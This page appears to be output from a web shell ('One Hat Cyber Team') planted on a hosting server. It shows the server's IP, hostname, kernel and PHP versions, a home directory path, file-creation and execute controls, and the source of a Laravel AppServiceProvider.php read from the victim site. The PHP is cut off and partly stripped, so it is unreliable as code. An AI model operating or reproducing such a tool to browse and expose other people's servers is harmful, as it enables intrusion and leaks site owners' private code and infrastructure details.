⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ctaacademy
/
public_html
/
app
/
Providers
/
View File Name :
AppServiceProvider.php
(object) Setting::pluck('value', 'key')->all()); $marketing_setting = Cache::rememberForever('marketing_setting', fn () => (object) MarketingSetting::pluck('value', 'key')->all()); $seo_setting = Cache::rememberForever('seo_setting', fn () => (object) SeoSetting::all()->groupBy('page_name')->mapWithKeys(function ($group, $pageName) { return [$pageName => $group->first()]; })); if ($setting) { set_wasabi_config(); set_aws_config(); } } catch (\Throwable $th) { info($th); $setting = (object) ['timezone' => config('app.timezone'), 'site_theme' => ThemeList::MAIN->value]; $marketing_setting = (object) []; $seo_setting = (object) []; } /** Share settings to all views */ View::composer('*', function ($view) use ($setting, $marketing_setting, $seo_setting) { $view->with(['setting' => $setting, 'marketing_setting' => $marketing_setting, 'seo_setting' => $seo_setting]); }); // set timezone date_default_timezone_set($setting->timezone ?? config('app.timezone')); /** Register custom blade directives */ $this->registerBladeDirectives(); // Use Bootstrap 4 pagination Paginator::useBootstrapFour(); // Define default homepage based on site_theme from setting, with fallback define('DEFAULT_HOMEPAGE', $setting?->site_theme ?? ThemeList::MAIN->value); } protected function registerBladeDirectives() { Blade::directive('adminCan', function ($permission) { return "guard('admin')->user()->can({$permission})): ?>"; }); Blade::directive('endadminCan', function () { return ''; }); // Blade directive for checking the current theme Blade::directive('theme', function ($themes) { return ""; }); Blade::directive('endtheme', function () { return ''; }); } }